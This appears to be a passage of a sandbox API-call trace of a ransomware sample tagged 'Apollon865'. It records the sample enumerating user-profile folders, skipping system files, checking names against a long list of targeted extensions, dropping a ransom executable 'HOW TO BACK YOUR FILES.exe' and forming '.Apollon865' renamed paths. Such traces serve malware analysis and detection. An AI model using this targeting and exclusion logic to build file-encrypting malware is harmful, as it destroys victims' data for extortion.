	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".") returned 1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="..") returned 1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="windows") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="bootmgr") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="temp") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="pagefile.sys") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="boot") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="ids.txt") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="ntuser.dat") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="perflogs") returned -1
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="MSBuild") returned -1
	[0038.354] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0038.354] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 118
	[0038.354] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="02_Music_added_in_the_last_month.wpl" | out: lpString1="02_Music_added_in_the_last_month.wpl") returned="02_Music_added_in_the_last_month.wpl"
	[0038.354] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0038.354] lstrlenW (lpString="Apollon865") returned 10
	[0038.354] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0038.354] lstrlenW (lpString=".dll") returned 4
	[0038.354] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0038.355] lstrlenW (lpString=".lnk") returned 4
	[0038.355] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0038.355] lstrlenW (lpString=".ini") returned 4
	[0038.355] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0038.355] lstrlenW (lpString=".sys") returned 4
	[0038.355] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0038.355] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0038.355] lstrlenW (lpString="bak") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0038.355] lstrlenW (lpString="ba_") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0038.355] lstrlenW (lpString="dbb") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0038.355] lstrlenW (lpString="vmdk") returned 4
	[0038.355] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0038.355] lstrlenW (lpString="rar") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0038.355] lstrlenW (lpString="zip") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0038.355] lstrlenW (lpString="tgz") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0038.355] lstrlenW (lpString="vbox") returned 4
	[0038.355] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0038.355] lstrlenW (lpString="vdi") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0038.355] lstrlenW (lpString="vhd") returned 3
	[0038.355] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0038.355] lstrlenW (lpString="vhdx") returned 4
	[0038.355] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0038.356] lstrlenW (lpString="avhd") returned 4
	[0038.356] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0038.356] lstrlenW (lpString="db") returned 2
	[0038.356] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0038.356] lstrlenW (lpString="db2") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0038.356] lstrlenW (lpString="db3") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0038.356] lstrlenW (lpString="dbf") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0038.356] lstrlenW (lpString="mdf") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0038.356] lstrlenW (lpString="mdb") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0038.356] lstrlenW (lpString="sql") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0038.356] lstrlenW (lpString="sqlite") returned 6
	[0038.356] lstrcmpiW (lpString1="th.wpl", lpString2="sqlite") returned 1
	[0038.356] lstrlenW (lpString="sqlite3") returned 7
	[0038.356] lstrcmpiW (lpString1="nth.wpl", lpString2="sqlite3") returned -1
	[0038.356] lstrlenW (lpString="sqlitedb") returned 8
	[0038.356] lstrcmpiW (lpString1="onth.wpl", lpString2="sqlitedb") returned -1
	[0038.356] lstrlenW (lpString="xml") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0038.356] lstrlenW (lpString="$er") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0038.356] lstrlenW (lpString="4dd") returned 3
	[0038.356] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0038.357] lstrlenW (lpString="4dl") returned 3
	[0038.357] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0038.357] lstrlenW (lpString="^^^") returned 3
	[0038.357] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0038.357] lstrlenW (lpString="abs") returned 3
	[0038.357] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0038.357] lstrlenW (lpString="abx") returned 3
	[0038.357] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0038.357] lstrlenW (lpString="accdb") returned 5
	[0038.357] lstrcmpiW (lpString1="h.wpl", lpString2="accdb") returned 1
	[0038.357] lstrlenW (lpString="accdc") returned 5
	[0038.357] lstrcmpiW (lpString1="h.wpl", lpString2="accdc") returned 1
	[0038.357] lstrlenW (lpString="accde") returned 5
	[0038.357] lstrcmpiW (lpString1="h.wpl", lpString2="accde") returned 1
	[0038.357] lstrlenW (lpString="accdr") returned 5
	[0038.357] lstrcmpiW (lpString1="h.wpl", lpString2="accdr") returned 1
	[0038.357] lstrlenW (lpString="accdt") returned 5
	[0038.357] lstrcmpiW (lpString1="h.wpl", lpString2="accdt") returned 1
	[0038.357] lstrlenW (lpString="accdw") returned 5
	[0038.357] lstrcmpiW (lpString1="h.wpl", lpString2="accdw") returned 1
	[0038.357] lstrlenW (lpString="accft") returned 5
	[0038.357] lstrcmpiW (lpString1="h.wpl", lpString2="accft") returned 1
	[0038.357] lstrlenW (lpString="adb") returned 3
	[0038.357] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0038.357] lstrlenW (lpString="adb") returned 3
	[0038.357] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0038.357] lstrlenW (lpString="ade") returned 3
	[0038.357] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0038.357] lstrlenW (lpString="adf") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0038.358] lstrlenW (lpString="adn") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0038.358] lstrlenW (lpString="adp") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0038.358] lstrlenW (lpString="alf") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0038.358] lstrlenW (lpString="ask") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0038.358] lstrlenW (lpString="btr") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0038.358] lstrlenW (lpString="cat") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0038.358] lstrlenW (lpString="cdb") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0038.358] lstrlenW (lpString="ckp") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0038.358] lstrlenW (lpString="cma") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0038.358] lstrlenW (lpString="cpd") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0038.358] lstrlenW (lpString="dacpac") returned 6
	[0038.358] lstrcmpiW (lpString1="th.wpl", lpString2="dacpac") returned 1
	[0038.358] lstrlenW (lpString="dad") returned 3
	[0038.358] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0038.358] lstrlenW (lpString="dadiagrams") returned 10
	[0038.358] lstrcmpiW (lpString1="_month.wpl", lpString2="dadiagrams") returned -1
	[0038.358] lstrlenW (lpString="daschema") returned 8
	[0038.358] lstrcmpiW (lpString1="onth.wpl", lpString2="daschema") returned 1
	[0038.359] lstrlenW (lpString="db-journal") returned 10
	[0038.359] lstrcmpiW (lpString1="_month.wpl", lpString2="db-journal") returned -1
	[0038.359] lstrlenW (lpString="db-shm") returned 6
	[0038.359] lstrcmpiW (lpString1="th.wpl", lpString2="db-shm") returned 1
	[0038.359] lstrlenW (lpString="db-wal") returned 6
	[0038.359] lstrcmpiW (lpString1="th.wpl", lpString2="db-wal") returned 1
	[0038.359] lstrlenW (lpString="dbc") returned 3
	[0038.359] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0038.359] lstrlenW (lpString="dbs") returned 3
	[0038.359] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0038.359] lstrlenW (lpString="dbt") returned 3
	[0038.359] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0038.359] lstrlenW (lpString="dbv") returned 3
	[0038.359] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0038.359] lstrlenW (lpString="dbx") returned 3
	[0038.359] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0038.359] lstrlenW (lpString="dcb") returned 3
	[0038.359] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0038.359] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="03_Music_rated_at_4_or_5_stars.wpl" | out: lpString1="03_Music_rated_at_4_or_5_stars.wpl") returned="03_Music_rated_at_4_or_5_stars.wpl"
	[0038.359] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0038.359] lstrlenW (lpString="Apollon865") returned 10
	[0038.359] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0038.359] lstrlenW (lpString=".dll") returned 4
	[0038.359] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0038.360] lstrlenW (lpString=".lnk") returned 4
	[0038.360] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0038.360] lstrlenW (lpString=".ini") returned 4
	[0038.360] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0038.360] lstrlenW (lpString=".sys") returned 4
	[0038.360] lstrcmpiW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0038.360] lstrlenW (lpString="03_Music_rated_at_4_or_5_stars.wpl") returned 34
	[0038.360] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="04_Music_played_in_the_last_month.wpl" | out: lpString1="04_Music_played_in_the_last_month.wpl") returned="04_Music_played_in_the_last_month.wpl"
	[0038.360] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0038.360] lstrlenW (lpString="Apollon865") returned 10
	[0038.360] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0038.360] lstrlenW (lpString=".dll") returned 4
	[0038.360] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0038.360] lstrlenW (lpString=".lnk") returned 4
	[0038.360] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0038.360] lstrlenW (lpString=".ini") returned 4
	[0038.360] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0038.360] lstrlenW (lpString=".sys") returned 4
	[0038.360] lstrcmpiW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0038.360] lstrlenW (lpString="04_Music_played_in_the_last_month.wpl") returned 37
	[0038.360] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="05_Pictures_taken_in_the_last_month.wpl" | out: lpString1="05_Pictures_taken_in_the_last_month.wpl") returned="05_Pictures_taken_in_the_last_month.wpl"
	[0038.360] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0038.360] lstrlenW (lpString="Apollon865") returned 10
	[0038.360] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0038.360] lstrlenW (lpString=".dll") returned 4
	[0038.361] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0038.361] lstrlenW (lpString=".lnk") returned 4
	[0038.361] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0038.361] lstrlenW (lpString=".ini") returned 4
	[0038.361] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0038.361] lstrlenW (lpString=".sys") returned 4
	[0038.361] lstrcmpiW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0038.361] lstrlenW (lpString="05_Pictures_taken_in_the_last_month.wpl") returned 39
	[0038.361] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="06_Pictures_rated_4_or_5_stars.wpl" | out: lpString1="06_Pictures_rated_4_or_5_stars.wpl") returned="06_Pictures_rated_4_or_5_stars.wpl"
	[0038.361] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0038.361] lstrlenW (lpString="Apollon865") returned 10
	[0038.362] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0038.362] lstrlenW (lpString=".dll") returned 4
	[0038.362] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0038.362] lstrlenW (lpString=".lnk") returned 4
	[0038.362] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0038.362] lstrlenW (lpString=".ini") returned 4
	[0038.362] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0038.362] lstrlenW (lpString=".sys") returned 4
	[0038.362] lstrcmpiW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0038.362] lstrlenW (lpString="06_Pictures_rated_4_or_5_stars.wpl") returned 34
	[0038.362] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="07_TV_recorded_in_the_last_week.wpl" | out: lpString1="07_TV_recorded_in_the_last_week.wpl") returned="07_TV_recorded_in_the_last_week.wpl"
	[0038.362] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0038.362] lstrlenW (lpString="Apollon865") returned 10
	[0038.362] lstrcmpiW (lpString1="t_week.wpl", lpString2="Apollon865") returned 1
	[0038.362] lstrlenW (lpString=".dll") returned 4
	[0038.362] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".dll") returned 1
	[0038.362] lstrlenW (lpString=".lnk") returned 4
	[0038.362] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".lnk") returned 1
	[0038.362] lstrlenW (lpString=".ini") returned 4
	[0038.362] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".ini") returned 1
	[0038.362] lstrlenW (lpString=".sys") returned 4
	[0038.362] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".sys") returned 1
	[0038.362] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0038.362] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="08_Video_rated_at_4_or_5_stars.wpl" | out: lpString1="08_Video_rated_at_4_or_5_stars.wpl") returned="08_Video_rated_at_4_or_5_stars.wpl"
	[0038.363] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0038.363] lstrlenW (lpString="Apollon865") returned 10
	[0038.363] lstrcmpiW (lpString1="_stars.wpl", lpString2="Apollon865") returned -1
	[0038.363] lstrlenW (lpString=".dll") returned 4
	[0038.363] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".dll") returned 1
	[0038.363] lstrlenW (lpString=".lnk") returned 4
	[0038.363] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".lnk") returned 1
	[0038.363] lstrlenW (lpString=".ini") returned 4
	[0038.363] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".ini") returned 1
	[0038.363] lstrlenW (lpString=".sys") returned 4
	[0038.363] lstrcmpiW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2=".sys") returned 1
	[0038.363] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34
	[0038.363] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="09_Music_played_the_most.wpl" | out: lpString1="09_Music_played_the_most.wpl") returned="09_Music_played_the_most.wpl"
	[0038.363] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0038.363] lstrlenW (lpString="Apollon865") returned 10
	[0038.363] lstrcmpiW (lpString1="e_most.wpl", lpString2="Apollon865") returned 1
	[0038.363] lstrlenW (lpString=".dll") returned 4
	[0038.363] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".dll") returned 1
	[0038.363] lstrlenW (lpString=".lnk") returned 4
	[0038.363] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".lnk") returned 1
	[0038.363] lstrlenW (lpString=".ini") returned 4
	[0038.363] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".ini") returned 1
	[0038.363] lstrlenW (lpString=".sys") returned 4
	[0038.363] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".sys") returned 1
	[0038.363] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0038.364] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="10_All_Music.wpl" | out: lpString1="10_All_Music.wpl") returned="10_All_Music.wpl"
	[0038.364] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0038.364] lstrlenW (lpString="Apollon865") returned 10
	[0038.364] lstrcmpiW (lpString1="_Music.wpl", lpString2="Apollon865") returned -1
	[0038.364] lstrlenW (lpString=".dll") returned 4
	[0038.364] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".dll") returned 1
	[0038.364] lstrlenW (lpString=".lnk") returned 4
	[0038.364] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".lnk") returned 1
	[0038.364] lstrlenW (lpString=".ini") returned 4
	[0038.364] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".ini") returned 1
	[0038.364] lstrlenW (lpString=".sys") returned 4
	[0038.364] lstrcmpiW (lpString1="10_All_Music.wpl", lpString2=".sys") returned 1
	[0038.364] lstrlenW (lpString="10_All_Music.wpl") returned 16
	[0038.364] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="11_All_Pictures.wpl" | out: lpString1="11_All_Pictures.wpl") returned="11_All_Pictures.wpl"
	[0038.364] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0038.364] lstrlenW (lpString="Apollon865") returned 10
	[0038.364] lstrcmpiW (lpString1="ctures.wpl", lpString2="Apollon865") returned 1
	[0038.364] lstrlenW (lpString=".dll") returned 4
	[0038.364] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".dll") returned 1
	[0038.364] lstrlenW (lpString=".lnk") returned 4
	[0038.364] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".lnk") returned 1
	[0038.364] lstrlenW (lpString=".ini") returned 4
	[0038.364] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".ini") returned 1
	[0038.364] lstrlenW (lpString=".sys") returned 4
	[0038.364] lstrcmpiW (lpString1="11_All_Pictures.wpl", lpString2=".sys") returned 1
	[0038.364] lstrlenW (lpString="11_All_Pictures.wpl") returned 19
	[0038.365] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="12_All_Video.wpl" | out: lpString1="12_All_Video.wpl") returned="12_All_Video.wpl"
	[0038.365] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0038.365] lstrlenW (lpString="Apollon865") returned 10
	[0038.365] lstrcmpiW (lpString1="_Video.wpl", lpString2="Apollon865") returned -1
	[0038.365] lstrlenW (lpString=".dll") returned 4
	[0038.365] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".dll") returned 1
	[0038.365] lstrlenW (lpString=".lnk") returned 4
	[0038.365] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".lnk") returned 1
	[0038.365] lstrlenW (lpString=".ini") returned 4
	[0038.365] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".ini") returned 1
	[0038.365] lstrlenW (lpString=".sys") returned 4
	[0038.365] lstrcmpiW (lpString1="12_All_Video.wpl", lpString2=".sys") returned 1
	[0038.365] lstrlenW (lpString="12_All_Video.wpl") returned 16
	[0038.365] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer"
	[0038.365] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0038.365] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0038.365] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned 58
	[0038.365] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer"
	[0038.365] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.365] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.372] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.372] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eff9150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eff9150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0038.373] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.373] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.373] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.373] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eff9150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2eff9150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.373] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.373] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.373] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.373] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.373] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff12e0f2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="Apollon865.txt.exe") returned 1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2=".") returned 1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="..") returned 1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="windows") returned -1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="bootmgr") returned 1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="temp") returned -1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="pagefile.sys") returned -1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="boot") returned 1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="ids.txt") returned -1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="ntuser.dat") returned -1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="perflogs") returned -1
	[0038.373] lstrcmpiW (lpString1="brndlog.bak", lpString2="MSBuild") returned -1
	[0038.373] lstrlenW (lpString="brndlog.bak") returned 11
	[0038.373] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*") returned 60
	[0038.374] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="brndlog.bak" | out: lpString1="brndlog.bak") returned="brndlog.bak"
	[0038.374] lstrlenW (lpString="brndlog.bak") returned 11
	[0038.374] lstrlenW (lpString="Apollon865") returned 10
	[0038.374] lstrcmpiW (lpString1="rndlog.bak", lpString2="Apollon865") returned 1
	[0038.374] lstrlenW (lpString=".dll") returned 4
	[0038.374] lstrcmpiW (lpString1="brndlog.bak", lpString2=".dll") returned 1
	[0038.374] lstrlenW (lpString=".lnk") returned 4
	[0038.374] lstrcmpiW (lpString1="brndlog.bak", lpString2=".lnk") returned 1
	[0038.374] lstrlenW (lpString=".ini") returned 4
	[0038.374] lstrcmpiW (lpString1="brndlog.bak", lpString2=".ini") returned 1
	[0038.374] lstrlenW (lpString=".sys") returned 4
	[0038.374] lstrcmpiW (lpString1="brndlog.bak", lpString2=".sys") returned 1
	[0038.374] lstrlenW (lpString="brndlog.bak") returned 11
	[0038.374] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.Apollon865") returned 81
